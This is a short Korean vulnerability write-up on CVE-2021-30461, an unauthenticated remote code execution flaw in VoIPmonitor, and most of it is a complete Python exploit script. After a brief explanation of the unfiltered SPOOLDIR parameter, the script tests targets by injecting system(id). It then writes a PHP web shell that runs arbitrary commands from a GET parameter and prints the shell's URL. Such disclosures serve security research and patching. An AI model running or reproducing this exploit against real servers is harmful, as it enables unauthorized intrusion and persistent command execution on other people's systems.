[하루한줄] CVE-2021-30461: VoIPmonitor RCE

URL

VoIPmonitor UnAuth RCE

Target

VoIPmonitor <= 24.60

Explain

오픈소스 network packet sniffer인 VoIPmonitor에서 RCE취약점이 발견되었습니다. 해당 취약점은 SPOOLDIR 혹은 recheck 파라미터를 사용하는 POST 요청을 처리할 때 발생합니다. SPOOLDIR 파라미터 값은 UI 인터페이스가 호출하는 config/configuration.php에 아무런 필터나 가공 없이 있는 그대로 삽입됩니다. 이는 인증되지 않은 사용자라도 웹 인터페이스를 통해 임의의 PHP 코드를 원격으로 실행할 수 있게 해 줍니다.

import argparse
from sys import argv,exit
import time
import random
import string
try:
    import requests
except ImportError:
    print("pip3 install requests ")
print("""
###############################################
#              VOIP Monitor RCE               #
###############################################
""")
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Connection": "close"}
def get_target(args):
    hostname = args.host
    path = args.path
    if path:
        return f"http://{hostname}/{path}/index.php"
    else:
        return f"http://{hostname}/index.php"
def set_tmp(args):
    global headers
    target = get_target(args)
    n_data = {"SPOOLDIR": "/tmp", "recheck": "annen"}
    set_totmp = requests.post(target, n_data, headers=headers)
    print(f"[*] set /tmp {set_totmp}")
def checkVulnerability(args):
    global headers
    target = get_target(args)
    print(f"[+] Attacking {target}")
    testcmd = {"SPOOLDIR": "test\".system(id).\"", "recheck": "annen"}
    response_text = b"uid="
    testcmd_req = requests.post(target, testcmd, verify=False, headers=headers)
    if response_text in testcmd_req.content:
        print("[*] host is vulnerable")
    else:
        print("[-] host is not vulnerable")
        exit()
def uploadshell(args):
    global headers
    hostname = args.host
    path = args.path
    shell_path = ""
    shellfilename = str ( ''.join(random.choice(string.ascii_lowercase) for i in range(10)) )
    target = get_target(args)
    rce_payload = {"SPOOLDIR": f"/tmp\".file_put_contents('{shellfilename}.php','<?php echo system($_GET[\"a\"]);').\"", "recheck": "annen"}
    rce_req = requests.post(target, headers=headers, data=rce_payload)
    print(f"[*] uploading shell {rce_req.status_code}")
    if path:
        shell_path = f"http://{hostname}/{path}/{shellfilename}.php"
    else:
        shell_path = f"http://{hostname}/{shellfilename}.php"
    shell_check = requests.get(shell_path, headers=headers, params={'a':'id'})
    print(f"[*] RCE Check : {shell_check.text}")
    print(f"[*] Your Shell at {shell_path}")
def main():
    parser = argparse.ArgumentParser(description='VoIP Monitor all versions command execution')
    parser.add_argument('-t','--host',help='Host', type=str)
    parser.add_argument('-b', '--path',help='Path of the VoIP Monitor', type=str)
    args = parser.parse_args()
    set_tmp(args)
    checkVulnerability(args)
    set_tmp(args)
    uploadshell(args)
    set_tmp(args)
if __name__ == "__main__":
    main()